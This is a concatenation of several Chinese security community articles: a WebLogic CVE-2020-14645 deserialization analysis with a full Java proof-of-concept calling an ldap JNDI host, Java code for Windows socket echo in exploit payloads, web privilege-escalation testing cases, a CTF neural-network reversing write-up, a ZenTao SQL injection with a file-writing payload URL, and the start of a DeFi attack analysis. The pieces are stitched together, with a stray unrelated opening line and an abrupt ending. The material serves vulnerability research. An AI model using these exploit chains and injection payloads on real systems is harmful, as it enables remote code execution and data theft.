而这个脚本仅仅是改了给定地址的最后一个字节，并在每个信道上ping 256个可能的地址，感觉没有什么理由能让键鼠都失效，可能是键鼠固件的问题吧… | 社区文章 |
**作者：hu4wufu @ 白帽汇安全研究院
核对：r4v3zn @ 白帽汇安全研究院
本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！
投稿邮箱：[email protected]**
## 前言
近期公布的关于 Weblogic 的反序列化RCE漏洞 CVE-2020-14645，是对 CVE-2020-2883的补丁进行绕过。之前的
CVE-2020-2883 本质上是通过 `ReflectionExtractor` 调用任意方法，从而实现调用 `Runtime` 对象的 exec
方法执行任意命令，补丁将 `ReflectionExtractor` 列入黑名单，那么可以使用 `UniversalExtractor`
重新构造一条利用链。`UniversalExtractor` 任意调用 `get`、`is`方法导致可利用 JDNI
远程动态类加载。`UniversalExtractor` 是 Weblogic 12.2.1.4.0 版本中独有的，本文也是基于该版本进行分析。
## 漏洞复现
漏洞利用 POC，以下的分析也是基于该 POC 进行分析
ChainedExtractor chainedExtractor = new ChainedExtractor(new ValueExtractor[]{new ReflectionExtractor("toString",new Object[]{})});
PriorityQueue<Object> queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor));
queue.add("1");
queue.add("1");
//构造 UniversalExtract 调用 JdbcRowSetImpl 对象的任意方法
UniversalExtractor universalExtractor = new UniversalExtractor();
Object object = new Object[]{};
Reflections.setFieldValue(universalExtractor,"m_aoParam",object);
Reflections.setFieldValue(universalExtractor,"m_sName","DatabaseMetaData");
Reflections.setFieldValue(universalExtractor,"m_fMethod",false);
ValueExtractor[] valueExtractor_list = new ValueExtractor[]{universalExtractor};
Field[] fields = ChainedExtractor.class.getDeclaredFields();
Field field = ChainedExtractor.class.getSuperclass().getDeclaredField("m_aExtractor");
field.setAccessible(true);
field.set(chainedExtractor,valueExtractor_list);
JdbcRowSetImpl jdbcRowSet = Reflections.createWithoutConstructor(JdbcRowSetImpl.class);
jdbcRowSet.setDataSourceName("ldap://ip:端口/uaa");
Object[] queueArray = (Object[])((Object[]) Reflections.getFieldValue(queue, "queue"));
queueArray[0] = jdbcRowSet;
// 发送 IIOP 协议数据包
Context context = getContext("iiop://ip:port");
context.rebind("hello", queue);
成功弹出计算机
## 漏洞分析
了解过 `JDNI` 注入的都知道漏洞在 `lookup()` 触发，这里在 `JdbcRowSetImpl.class` 中 `326` 行
`lookup()` 函数处设置断点，以下为漏洞利用的简要调用链条：
我们从头分析，我们都知道反序列化的根本是对象反序列化的时候，我们从 IO 流里面读出数据的时候再以这种规则把对象还原回来。我们在
`in.readObject()` 处打断点，跟进查看 `PriorityQueue.readObject()` 方法
这里 782 执行 `s.defaultReadObject()` ，785 执行 `s.readInt()` 赋给对象输入流大小以及数组长度，并在 790
行执行 for 循环，依次将 `s.readObject()` 方法赋值给 `queue` 对象数组，这里 `queue` 对象数组长度为 2。
接着往下跟，查看 `heapify()` 方法。`PriorityQueue` 实际上是一个最小堆，这里通过 `siftDown()`
方法进行排序实现堆化，
跟进 `siftDown()` 方法，这里首先判断 `comparator` 是否为空
我们可以看看 `comparator` 是怎么来的，由此可见是在 `PriorityQueue` 的构造函数中被赋值的，在初始化构造时，除了给
`this.comparator` 进行赋值之外，通过 `initialCapacity` 进行初始化长度。
`comparator` 不为空，所以我们执行的是 `siftDownUsingComparator()` 方法，所以跟进
`siftDownUsingComparator()` 方法。
继续跟进 `ExtractorComparator.compare()` 方法
这里调用的是 `this.m_extractor.extract()` 方法，来看看 `this.m_extractor`，这里传入了
`extractor`，
`this.m_extractor` 的值是与传入的 `extractor` 有关的。这里需要构造 `this.m_extractor` 为
`ChainedExtractor`，才可以调用 `ChainedExtractor` 的 `extract()` 方法实现 `extract()` 调用。
继续跟进 `ChainedExtractor.extract()` 方法，可以发现会遍历 `aExtractor` 数组，并调用 `extract()`
方法。
跟进 `extract()` 方法，此处由于 `m_cacheTarget` 使用了 `transient` 修饰，无法被反序列化，因此只能执行
`else` 部分，最后通过 `this.extractComplex(oTarget)` 进行最终触发漏洞点
`this.extractComplex(oTarget)` 中可以看到最后通过 `method.invoke()` 进行反射执行，其中 `oTarget`
和 `aoParam` 都是可控的。
我们跟进190的 `findMethod()` 方法，在 475 行需要使 `fExactMatch` 为 `true`，`fStatic` 为
`false` 才可让传入 `clz` 的可以获取任意方法。`fStatic` 是可控的，而 `fExactMatch` 默认为`true` ，只要没进入
`for` 循环即可保持 `true` 不变，使 `cParams` 为空即 `aclzParam` 为空的 `Class` 数组即可，此处
`aclzParam` 从 `getClassArray()` 方法获取。
在 `getClasssArray` 中通过获取输入参数的值对应的 Class 进行处理。
由于传入的 `aoParam` 是一个空的 `Object[]`，所以获取对应的 `Class` 也为空的 `Class[]`，跟入
`isPropertyExtractor()` 中进行进行获取可以看到将 `this._fMethod` 获取相反的值。
由于 `m_fMethod` 被 `transient` 修饰，不会被序列化，通过分析 `m_fMethod` 赋值过程，可发现在 `init()`
时会获取sCName，并且通过判定是否为 `()` 结尾来进行赋值。
由于参数为 `this` 的原因，导致`getValueExtractorCanonicalName()`方法返回的都是 `null`。
跟入 `getValueExtractorCanonicalName()`函数，最后是通过调用
`computeValuExtractorCanonicalName` 进行处理。
跟入 `computeValuExtractorCanonicalName()` 之后，如果 `aoParam`不为 `null` 且数组长度大于 0
就会返回 `null`，由于 `aoParam` 必须为 `null` ，因此我们调用的方法必须是无参的。接着如果方法名 `sName` 不以 `()`
结尾，就会直接返回方法名。否则会判断方法名是否以 `VALUE_EXTRACTOR_BEAN_ACCESSOR_PREFIXES`
数组中的前缀开头，如果是的话就会截取掉并返回。
回到 `extractComplex()` 方法中，在 `if` 条件里会对上述返回的方法名做首字母大写处理，然后拼接
`BEAN_ACCESSOR_PREFIXES` 数组中的前缀，判断 `clzTarget` 类中是否含有拼接后的方法。这里可以看到我们只能调用任意类中的
`get` 和 `is` 开头的无参方法。也就解释了为什么 `poc` 会想到利用 `JNDI` 来进行远程动态类加载。
跟进 `method.invoke()` 方法，会直接跳转至 `JdbcRowSetImpl.getDatabaseMetaData()`。
由于`JdbcRowSetImpl.getDatabaseMetaData()`，调用了 `this.connect()`，可以看到在 326 行执行了
`lookup` 操作，触发了漏洞。
至此，跟进 `getDataSourceName()`，可看到调用了可控制的 `dataSource`。
## 总结
此漏洞主要以绕过黑名单的形式，利用 `UniversalExtractor` 任意调用`get`、`is`方法导致 JNDI 注入，由此拓展
CVE-2020-14625。
## 参考
* [WebLogic coherence UniversalExtractor 反序列化 (CVE-2020-14645) 漏洞分析](https://paper.seebug.org/1280/#cve-2020-14645)
* <https://www.oracle.com/security-alerts/cpujul2020.html>
* * * | 社区文章 |
## 前言
之前有linux文件描述符回显了，当时搞出来后，就想着接着搞win。因为比较忙搁置了一段时间。后续又接着搞了下，因为我觉得这个回显是jdk级别的，不需要专门研究一个应用再去回显。
并且还可以针对异步服务进行回显。
为什么是失败的，因为回显后服务会挂。
## linux上的返回方式不行
在win上，是无法像linux上使用如下方式进行回显。
FileOutputStream os = new FileOutputStream(fd);
os.write(ret.getBytes());
于是就去看socket的实现。
## 模拟socket返回结果
需要了解java IO分成三种BIO、NIO、AIO。文中实现了BIO和NIO两种回显。
在 win32 的实现中将 创建好的 文件句柄 设置到 handle 字段，在 linux 版本中则使用的是 FileDescriptor 的 fd 字段。
坑：在实现过程中我谷歌了一些资料，加上我以前的一些认知，我以为上面的内容是真的，在win上要设置一直handle字段，一直没有实现任何回显。于是仔细看了下win下BIO的实现，还是设置FileDescriptor
的 fd 字段。
这个过程比较简单，大家看下socket 写的实现就好了，就直接上源码了。
spring boot之前测试记忆中是NIO。
NIO socket返回。
for (int i=0;i<10000;i++){
try {
byte[] buff = new byte[]{0x61,0x61};
Class class1 = Class.forName("java.nio.HeapByteBuffer");
Constructor constructor1 = class1.getDeclaredConstructors()[1];
constructor1.setAccessible(true);
Object heapByteBuffer = constructor1.newInstance(buff,0,2);
Class class2 = Class.forName("sun.nio.ch.SocketChannelImpl");
java.lang.reflect.Field nd = class2.getDeclaredField("nd");
nd.setAccessible(true);
Class class3 = Class.forName("sun.nio.ch.IOUtil");
Method write = class3.getDeclaredMethods()[1];
write.setAccessible(true);
FileDescriptor fd = new FileDescriptor();
java.lang.reflect.Field field = FileDescriptor.class.getDeclaredField("fd");
field.setAccessible(true);
field.set(fd, i);
System.out.println(new FileInputStream(fd).getChannel());
write.invoke(null,new Object[]{(FileDescriptor)fd, class1.cast(heapByteBuffer), -1L, nd.get(null)});
}catch (Exception e){
System.out.println(e);
}
}
## weblogic _async/AsyncResponseService 回显
一开始我以为_async/AsyncResponseService
是无法回显的，在我搞出cve-2019-2725回显之后，看过一张别人把_async/AsyncResponseService回显的截图。我就一直寻思着怎么把_async/AsyncResponseService回显了。
weblogic使用的是BIO进行回显的
模拟BIO
for (int i=0;i<10000;i++) {
try {
Class class1 = Class.forName("java.net.SocketOutputStream", false, null);
java.lang.reflect.Constructor constructor1 = class1.getDeclaredConstructors()[0];
constructor1.setAccessible(true);
java.lang.reflect.Method write = class1.getDeclaredMethod("write",new Class[]{byte[].class});
write.setAccessible(true);
java.io.FileDescriptor fd = new java.io.FileDescriptor();
java.lang.reflect.Field field = java.io.FileDescriptor.class.getDeclaredField("fd");
field.setAccessible(true);
field.set(fd, new Integer(i));
Class class2 = Class.forName("java.net.PlainSocketImpl");
java.lang.reflect.Constructor constructor2 = class2.getDeclaredConstructor(new Class[]{java.io.FileDescriptor.class});
constructor2.setAccessible(true);
Object socksSocketImpl = constructor2.newInstance(new Object[]{fd});
Object socketOutputStream = constructor1.newInstance(new Object[]{socksSocketImpl});
write.invoke(socketOutputStream, new Object[]{new byte[]{0x61, 0x61}});
}catch (Exception e){
System.out.println(e);
}
}
## 总结
回显是回显了，但是weblogic服务会崩，win下socket的文件描述符如何确定，暂时没有一个好的思路，只能暴力猜解。有想法的朋友可以一起交流下。 | 社区文章 |
# 0×00 写在前面
本文涉及到三种越权思路，每种方式分别对应了一个实际的案例分享。这是自己在平时的测试中积累并值得分享的一些测试经验，可能不能将问题探究到多深入，希望文中的思路能有所用。
# 0x01 修改返回包的越权
## 前情提要
“修改返回包”这个越权的应用场景是一个请求使用加密算法加密请求的应用系统，测试过程中几乎所有的请求均加密，返回包为明文，此处可以使用如下案例中的方式进行越权测试。
### 案例分享
功能“我的账户”处可以查看当前账户下挂的所有账户对应的信息，同时通过卡片详情可以查看卡片的“账户详情”，以及之后的明细交易，余额等多个功能点。此处以“账户详情”功能为例。
首先需要选择“我的账户”，该系统每个POST请求，格式都是同样的加密方式进行，如下所示，参数也只有RSA。
POST /users/cardcenter.do HTTP/1.1
HOST: 1.1.1.1
RSA=WEFGH%^UYBF&HF)WHG($@hh9h9HG)FKJHSKGBGIEBUGIBG(&S(GHEW(*GHHG)))
但是请求返回的信息是明文返回，因为前端展示需要从上一个请求的json数据中提取有效信息，用于其中。
**此处问题也就出在这里，下一步的“账户详情”的请求，直接使用前端标签中的value卡号进行查询相关数据，那么，通过修改上一请求的返回包内容，即可为下一请求的水平越权做铺垫。**
”我的账户“原请求为：
POST /users/cardcenter.do HTTP/1.1
HOST: 1.1.1.1
RSA=ERfiegiue478y784goehghoHIGUIUUg*^&^(*^%fdfgsg)
”我的账户“原返回为：
{"body":{"Name":"王刚","cardNO":"12345678","value":"24.33","Address":"北京市朝阳区亮马桥","tel":"13333333333"}}
将返回包中的cardNO参数“12345678”修改为其他账号“62308452”，则在前端显示修改后的账号。
再次选择“我的账户”子功能“账户详情”，请求为加密，从返回包的内容可以看出水平越权成功：
{"body":{"Name":"郭德岗","cardNO":"222222","Type":"CNY","calType":"001","bankAddr":"2334","cardValue":"24.33","Address":"北京市朝阳区亮马桥","tel":"13333333333"}{"sublist":"2222220102","cardValue":"1000.00"}
此处案例中上面所述内容的危害为水平越权查询信息，通过上述的方式可以查询他人卡号、证件号、手机号。
但同时在案例其他功能的某一处可以以此方式使用他人银行卡进行缴费。(PS: 找不到截图了，无法拼凑了。em……)
# 0x02 寻找一个解密接口
## 前情提要
此案例的应用不同于上一案例，请求不进行加密，
**POST请求参数不经过任何加密混淆，返回数据的格式统一，并且参数对应值是经过加密处理的，即返回数据中，如果前端需要用到的参数，则返回为解密后的明文，其他参数为密文显示**.
## 案例分享
某应用的忘记密码处，存在这样一个流程，当你将自己的登录名(证件号或登录名)发送请求之后，会返回你的部分信息。
### 证件号找回密码
尝试使用证件号作为登陆名进行验证找回密码，通过返回包中可以看到返回了“姓名”和“联系方式”的明文，其他字段为空，如下：
### 用户名找回密码
尝试使用用户名作为登录名进行验证找回密码，通过翻译包可以看到返回的信息和证件号找回密码一样，包括“姓名”、“电话”、“证件号”，但是登录名的组合要比证件号利用程度更加容易，有很多常用的top500，top100等常见登录名，所以进行爆破的话可以获取大量信息。
### 问题-如何解密
但是可能注意到了，返回信息中的信息全是经过混淆加密的，那么如何对加密数据进行解密？这是个问题。
但是下一个请求“验证身份”之后要验证手机短信的时候，请求中将上一个请求查询到的所有密文提交验证了，
**然后然后竟然在返回包的js代码里找到了“手机号码”参数的明文信息，那么试试别的参数放到这个位置，Bingo！！！**
如下所示，将姓名参数的明文进行请求，获取了明文密码。
综上所述，可以首先对忘记密码处进行暴力破解，搜集所有的返回的信息密文，之后在验证信息时，对参数进行暴力破解，即可获取所有密文对应的明文信息。此处可以将所有用户的“证件号”、“手机号”、“姓名”、“用户名”进行完整搜集。
**同类似，如果遇到一个可以获取加密消息为请求密文的接口，上面的情况也有可能是适用的。**
# 0x04 给加密的请求制造点错误
## 案例
有些系统测试的时候，请求数据格式为json，并且参数基本固定格式为如下示例所示，同时基本请求数据均在data部分进行加密混淆。
POST /hello.do HTTP/1.1
Host: 127.0.0.1
{"_zh":"1324","data":"QWERT+YHFGGi+fgfyefgyef+6/"}
### 尝试思路
* 是否可以像“案例一”一样，有一个解密的接口，将密文转换为明文，但是此处场景无法获取整个请求的参数提交格式，所以思路不可行；
* 第二种方法，是否可以构造畸形data参数，从报错异常中构造处完整请求；
### 思路二的尝试
找到其他查询信息的接口，将任意接口的请求用来替换请求，因为请求接口不同，所以会出现报错信息，观察返回包是否可以解析或者产生什么报错？
首先，该功能接口正常请求和返回信息如下图所示：
当使用其他功能请求中的datas部分替换该请求的datas部分后，返回信息得到了满意的结果，如下所示：
对上面的截图分析：
原密文datas的明文可能为：
{"name":"test1"，"ID":"123456","phone":"13333333333"}
畸形密文请求可能为：
{"token":"234567890"}
后者的json中参数名不满足此处接口所需的参数和数据，后端无法进行查询，直接返回报错信息为参数缺失，并且给出了具体的参数名，这样的结果就是获取到了此处请求的json中必须包含哪些参数，可以直接构造一个完全符合正常请求的明文请求。
根据实际情况，构造出的明文json请求如下，后端是否会解析呢？
结果也很明显，后端接收并解析明文json的请求方式：
* 明文请求
* 加密请求
### 思路梳理
此场景几点总结如下两点：
* 是否可以明文请求以及明文返回，避免明文请求之后依然是密文返回；
* 是否可以从报错信息中直观获取有效参数名信息，这样可以减少构造参数名时需要大量的猜测过程；
# 0x05 总结
以上是自己平时测试遇到的情况梳理，希望有可取之处。 | 社区文章 |
# 2018X-nuca Neural Network详解
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
这道题当时没有队伍解出来，我当时想是有更多的步骤在图里面，tensorboard检测不出来，或者那些其余的操作有影响，当时有个提示是并非所有节点都在图里，最后又找了一遍pbtext的文本，看到有个节点带了很多数据，名字又是precisefinal，就感觉这是精确数据，最后拿到flag。
## Neural Network
神经网络，一个完全没接触过的全新领域。先查一波资料：
TensorFlow中文社区
[tensorboard使用](https://blog.csdn.net/czq7511/article/details/72480149)
[Tensorflow
模型文件的使用以及格式转换](https://blog.csdn.net/loveliuzz/article/details/81383098)
tensorflow只能在python3.5和python3.6安装，踩坑就踩了好久。
搭好环境直接跑一下它的python脚本，除了有个提示外都正常，提示可以在脚本开头加段代码去掉
import os
os.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'
运行一下python脚本，随便输点东西进去，然后弹出错误警告。似乎是大小不对，应该32个而不是16个。看一下脚本的内容，`get_input`函数里把输入rjust了16，改成32，这样就可以跑了，输出了`Sorry,
srcret wrong! Try harder?`
分析一下脚本，结合各种地方找的资料，发现他读取了一个`model.meta`文件作为图，x应该是输入tensor，y是输出tensor。把输入放进黑盒操作一波得到输出，然后跟常量final比较，要求误差在1e-8之内。
看样子重点就在于它的`model.meta`这个文件里了。用hexeditor打开，只能看到一些字符串和数据。
在查一波资料，发现了tensorboard这个东西，他能把meta文件的内容转化成图，于是根据教程，得到了这个模型的模型图。
点进各个节点可以看到每个节点的输入(Inputs)，输出(Outputs)和操作(Operation)。于是我们找到了`In_string`和`Out_judge`。跟着`Out_judge`的操作沿着输入一步一步往前走，能找到In_string。这些个过程就是黑盒的过程了。注意其中有很多的分支是没用到的，不必理会。最终整理出正向的操作（用tensorflow的函数表示）：
t0 = tf.matmul(In_string, v0)
t1 = tf.add(t0, v3)
t2 = tf.sigmoid(t1)
t3 = tf.matmul(t2, v1)
t4 = tf.add(t3, v4)
t5 = tf.tanh(t4)
t6 = tf.matmul(t5, v2)
t7 = tf.add(t6, v5)
t8 = tf.sigmoid(t7)
matmul：矩阵相乘
sigmoid：S型生长曲线，具体可以百度
add:两个矩阵对应量相加
tanh：双曲正切
relu：正数不变，负数变为为0
这里的v0到v5都是常量。参考脚本中res的用法，可以拿到数据：
def gn(nm):
return sess.run(nm + ":0", feed_dict={x:[X]})
In_string = gn("In_string")
v0 = gn("Variable/read")
v1 = gn("Variable_1/read")
v2 = gn("Variable_2/read")
v3 = gn("Variable_3/read")
v4 = gn("Variable_4/read")
v5 = gn("Variable_5/read")
为了方便调试，我们定义：
def gv(v):
return sess.run(v, feed_dict={x:[X]})
print(gv(a0))
直接print(t1)并不能输出它的值。参考之前的res，要把数据喂进去run一下，会返回一个numpy的array数据类型，于是这样就可以输出了。
同时，输出np.array时默认会省略一些数据用省略号代替，且输出的精度不足。为了更直观的观看，可以添加如下代码：
np.set_printoptions(threshold='nan')
np.set_printoptions(precision=20)
有了正向的输入过程，每个函数都是有反函数的，我们似乎就可以逆向得到输入了，逆向过程如下
from scipy.special import logit
def invsigmoid(a):
b= np.array([[0.0]*32])
for i in range(32):
b[0][i]=logit(a[0][i]) #logit为sigmoid的反函数，但是tensorflow中没有这个函数，只能借助scipy中的了
return b
a = np.array([[1.40895243e-01, 9.98096014e-01, 1.13422030e-02, 6.57041353e-01,
9.97613889e-01, 9.98909625e-01, 9.92840464e-01, 9.90108787e-01,
1.43269835e-03, 9.89027450e-01, 7.22652880e-01, 9.63670217e-01,
6.89424259e-01, 1.76012035e-02, 9.30893743e-01, 8.61464445e-03,
4.35839722e-01, 8.38741174e-04, 6.38429400e-02, 9.90384032e-01,
1.09806946e-03, 1.76375112e-03, 9.37186997e-01, 8.32329340e-01,
9.83474966e-01, 8.79308946e-01, 6.59324698e-03, 7.85916088e-05,
2.94269115e-05, 1.97006621e-03, 9.99416387e-01, 9.99997202e-01]])
a0=invsigmoid(a)
a1=tf.subtract(a0,v5)
a2=tf.matmul(a1,tf.matrix_inverse(v2))
a3=tf.atanh(a2)
a4=tf.subtract(a3,v4)
a5=tf.matmul(a4,tf.matrix_inverse(v1))
a6=invsigmoid(gv(a5))#a5是个tensor对象，要用np.array数据类型才能使用。
a7=tf.subtract(a6,v3)
a8=tf.matmul(a7,tf.matrix_inverse(v0))
l=gv(a8).tolist()
ll=l[0]
flag=''
for i in range(len(ll)):
ll[i]*=128
ll[i]=round(ll[i])
flag+=chr(ll[i])
print(flag)
然而出问题了。最终的a8全是naf。让我们想办法输出中间变量的值，看看哪里有问题。在每一步后面输出a的数据。调着调着发现，第二个invsigmoid出了问题，意义不明（似乎是超出定义域了）。
思考了一下，我先随便输一个数据进去，用它算的结果逆一遍，看看能不能得到原来的值，于是：
def trans(secret):
return np.array([float(ord(x))/128 for x in secret])
fakeflag = "flag{01234567012345670123456789}"
X = trans(fakeflag)
sess = tf.Session()
saver = tf.train.import_meta_graph('model.meta')
saver.restore(sess, tf.train.latest_checkpoint('./'))
graph = tf.get_default_graph()
x = graph.get_tensor_by_name('In_string:0')
y = graph.get_tensor_by_name("Out_judge:0")
res = sess.run(y, feed_dict={x:[X]})
a0=invsigmoid(res)
a1=tf.subtract(a0,v5)
a2=tf.matmul(a1,tf.matrix_inverse(v2))
a3=tf.atanh(a2)
a4=tf.subtract(a3,v4)
a5=tf.matmul(a4,tf.matrix_inverse(v1))
a6=invsigmoid(gv(a5))#a5是个tensor对象，要用np.array数据类型才能使用。
a7=tf.subtract(a6,v3)
a8=tf.matmul(a7,tf.matrix_inverse(v0))
l=gv(a8).tolist()
ll=l[0]
flag=''
for i in range(len(ll)):
ll[i]*=128
ll[i]=round(ll[i])
flag+=chr(ll[i])
print(flag)
到这里可以算回我的假flag，说明算法是没问题的。思前想后觉得应该是精度的问题。注意到体重final的精度是9位有效数字。我尝试把假flag得到的最终结果保留9位有效数字，再带进逆向算法中，就算不出假flag了。同时我逐步提高精度，发现要有14位以上有效数字的精度才能算出正确的输入！这让我不禁怀疑题目的正确性。找主办方交涉无果，只好重新找方向。
显然我们没办法提高数据的精度，一时间陷入了僵局。
查找资料解读meta的时候，除了用tensorboard看图形外，还发现了可以吧meta转成txt输出：
sess = tf.Session()
saver = tf.train.import_meta_graph('model.meta')
saver.restore(sess, tf.train.latest_checkpoint('./'))
graph = tf.get_default_graph()
tf.train.write_graph(graph, './aaa', 'train.pbtxt')
打开train.pbtxt，在这里可以看到所有的node，包括之前的`Variable`等。比赛时并没有太注意，只当用到的东西已经输出了。
最早看这个pbtxt的时候并没有很仔细，更多的跑去看tensorboard了。赛后重新看一下pbtxt，发现了很可疑的一段：
node {
name: "PRECISEFINAL"
op: "Const"
attr {
key: "dtype"
value {
type: DT_DOUBLE
}
}
attr {
key: "value"
value {
tensor {
dtype: DT_DOUBLE
tensor_shape {
dim {
size: 1
}
dim {
size: 32
}
}
tensor_content: "!333736633210302?3068crg360357?02\336266224:207?367s226226{06345?211224C366s354357?tkYQ21367357?303CE]Y305357?20705215237370256357?30344262",yW?320732534434246357?26733533635637037347?367345j354b326356?|34lv30317346?210242s3061406222?372353304254341311355?245\21401216244201?%254@J314344333?30?251364336{K?k24R31302X260?331361R3329261357?27U36433243375Q?#31dW265345\?265b315225o375355?22207375#q242352?H330273}240x357?A362214203L#354?L00207B20501{?32334403217123224?03222)3659333376>372241322=207#`?36132424238373357?3713327!372377357?"
}
}
}
}
这个名为`PRECISEFINAL`的node根本没见过，里面还藏有大量数据，难道这就是精确的final值？（名字都告诉你了是精确final了好吧）
把它带进脚本跑一下，flag就出了，而且直接查看它的数据可以发现它的精度是15位有效数字。
脚本：
import os
import numpy as np
import tensorflow as tf
from math import isclose
from scipy.special import logit
os.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'
np.set_printoptions(precision=20)
np.set_printoptions(threshold='nan')
def trans(secret):
return np.array([float(ord(x))/128 for x in secret])
def gn(nm):
a=graph.get_tensor_by_name(nm + ":0")
return sess.run(a, feed_dict={x:[X]})
def gv(v):
return sess.run(v, feed_dict={x:[X]})
def invsigmoid(a):
b= np.array([[0.0]*32])
for i in range(32):
b[0][i]=logit(a[0][i])
return b
fakeflag = "flag{01234567012345670123456789}"
X = trans(fakeflag)
#print(X)
sess = tf.Session()
saver = tf.train.import_meta_graph('model.meta')
saver.restore(sess, tf.train.latest_checkpoint('./'))
graph = tf.get_default_graph()
x = graph.get_tensor_by_name('In_string:0')
y = graph.get_tensor_by_name("Out_judge:0")
final = np.array([[1.40895243e-01, 9.98096014e-01, 1.13422030e-02, 6.57041353e-01,
9.97613889e-01, 9.98909625e-01, 9.92840464e-01, 9.90108787e-01,
1.43269835e-03, 9.89027450e-01, 7.22652880e-01, 9.63670217e-01,
6.89424259e-01, 1.76012035e-02, 9.30893743e-01, 8.61464445e-03,
4.35839722e-01, 8.38741174e-04, 6.38429400e-02, 9.90384032e-01,
1.09806946e-03, 1.76375112e-03, 9.37186997e-01, 8.32329340e-01,
9.83474966e-01, 8.79308946e-01, 6.59324698e-03, 7.85916088e-05,
2.94269115e-05, 1.97006621e-03, 9.99416387e-01, 9.99997202e-01]])
res = sess.run(y, feed_dict={x:[X]})
In_string = gn("In_string")
v0 = gn("Variable/read")
v1 = gn("Variable_1/read")
v2 = gn("Variable_2/read")
v3 = gn("Variable_3/read")
v4 = gn("Variable_4/read")
v5 = gn("Variable_5/read")
precisefinal=gn("PRECISEFINAL")
a0=invsigmoid(precisefinal)
a1=tf.subtract(a0,v5)
a2=tf.matmul(a1,tf.matrix_inverse(v2))
a3=tf.atanh(a2)
a4=tf.subtract(a3,v4)
a5=tf.matmul(a4,tf.matrix_inverse(v1))
a6=invsigmoid(gv(a5))
a7=tf.subtract(a6,v3)
a8=tf.matmul(a7,tf.matrix_inverse(v0))
l=gv(a8).tolist()
ll=l[0]
flag=''
for i in range(len(ll)):
ll[i]*=128
ll[i]=round(ll[i])
flag+=chr(ll[i])
print(flag)
最终运行脚本得到flag | 社区文章 |
首发：http://ecma.io/706.html
## 第一部分 漏洞成因
漏洞出现在zentao\lib\base\dao\dao.class.php中的orderBy函数
public function orderBy(*$order*)
{
if($this->inCondition and !$this->conditionIsTrue) return $this;
*$order *= *str_replace*(array('|', '', '_'), ' ', *$order*);
/* Add "`" in order string. */
/* When order has limit string. */
$pos = *stripos*(*$order*, 'limit');
$orders = $pos ? *substr*(*$order*, 0, $pos) : *$order*;
$limit = $pos ? *substr*(*$order*, $pos) : '';
$orders = *trim*($orders);
if(empty($orders)) return $this;
if(!*preg_match*('/^(\w+\.)?(`\w+`|\w+)( +(desc|asc))?( *(, *(\w+\.)?(`\w+`|\w+)( +(desc|asc))?)?)*$/i', $orders)) die("Order is bad request, The order is $orders");
$orders = *explode*(',', $orders);
foreach($orders as $i => *$order*)
{
$orderParse = *explode*(' ', *trim*(*$order*));
foreach($orderParse as $key => $value)
{
$value = *trim*($value);
if(empty($value) or *strtolower*($value) == 'desc' or *strtolower*($value) == 'asc') continue;
$field = $value;
/* such as t1.id field. */
if(*strpos*($value, '.') !== false) list($table, $field) = *explode*('.', $field);
if(*strpos*($field, '`') === false) $field = "`$field`";
$orderParse[$key] = isset($table) ? $table . '.' . $field : $field;
unset($table);
}
$orders[$i] = *join*(' ', $orderParse);
if(empty($orders[$i])) unset($orders[$i]);
}
*$order *= *join*(',', $orders) . ' ' . $limit;
$this->sql .= ' ' . DAO::ORDERBY . " *$order*";
*var_dump*($this->sql);
return $this;
}
这是对orderBy的参数进行拼接，并且对参数进行了一系列的过滤，但是有个问题:
$pos = *stripos*(*$order*, 'limit');
$orders = $pos ? *substr*(*$order*, 0, $pos) : *$order*;
*$order *= *join*(',', $orders) . ' ' . $limit;
你会发现， **没有对limit部分做任何限制就直接拼接** 。也就是说，使用了orderBy这个函数的地方都有可能产生过滤。
## 第二部分 验证
参考: [http://ecma.io/691](http://ecma.io/?p=691).html，参数怎么构造就不详细说明了
URL：[http://zentao.me/block-main.html?mode=getblockdata&blockid=case¶m=eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMTtzZWxlY3QgMTIzIGludG8gb3V0ZmlsZSAnZDoveHh4LnR4dCctLSAtIiwibnVtIjoiMSwxIiwidHlwZSI6Im9wZW5lZGJ5bWUifQ](http://zentao.me/block-main.html?mode=getblockdata&blockid=case¶m=eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMTtzZWxlY3QgMTIzIGludG8gb3V0ZmlsZSAnZDoveHh4LnR4dCctLSAtIiwibnVtIjoiMSwxIiwidHlwZSI6Im9wZW5lZGJ5bWUifQ)
解码之后如下，因为可以PDO可以多语句，那么就可以update或者写文件操作。
{"orderBy":"order limit 1;select 123 into outfile 'd:/xxx.txt'---","num":"1,1","type":"openedbyme"}
## 第三部分 总结
禅道这个版本是最新的版本，使用了这个函数的地方都有可能产生注入。搜索了一下，共有十处可控： | 社区文章 |
# Titano Finance攻击事件分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x1 事件背景
Titano是加密领域中较好的自动质押和自动复利协议，它的定位是通过Titano自动质押协议或TAP引领DeFi的革命，TAP是一种新的金融协议，使质押更容易，并为$TITANO代币持有者提供加密货币中最高的稳定回报。
零时科技区块链安全情报平台监控到消息，北京时间2022年2月14日，Titano
Finance遭到攻击，损失3200万TITANO代币，零时科技安全团队及时对此安全事件进行分析。
## 0x2 攻击信息
零时科技安全团队通过追踪分析，主要攻击信息如下：
* 攻击者钱包地址
_<https://bscscan.com/address/0xad9217e427ed9df8a89e582601a8614fd4f74563>_
* 攻击者创建的相关合约地址
**MultipleWinnersProxyFactory**
_<https://bscscan.com/address/0x940151f5bbbcda5b1b482592d816e96f80d6073a>_
**MultipleWinnersBuilder**
_<https://bscscan.com/address/0x1866207c355d4c6e0b03b4dc0bf9c658f4d13f8a>_
**MultipleWinners**
_<https://bscscan.com/address/0x49d078d25b08f2731cbf5af8e8cdf1ea3e0a2046>_
* 出现异常操作的官方合约
**StakePrizePool**
_<https://bscscan.com/address/0x4d7f0a96967dce1e36dd2fbb131625bbd9106442>_
## 0x3 攻击分析
下面拆解攻击者交易，先看一下攻击者获利的交易操作，一共分为三部分：
第一部分主要是获得Ticket Titano代币；
第二部分将Ticket Titano代币转换成BNB；
第三部分将获取的BNB转移至多个钱包地址。
下来详细分析三部分的攻击流程。
1.首先第一部分中，攻击者创建了两个合约，分别为MultipleWinnersProxyFactory和MultipleWinnersBuilder，随后通过MultipleWinnersBuilder合约的createMultipleWinnersFromExistingPrizeStrategy方法创建了MultipleWinners合约，
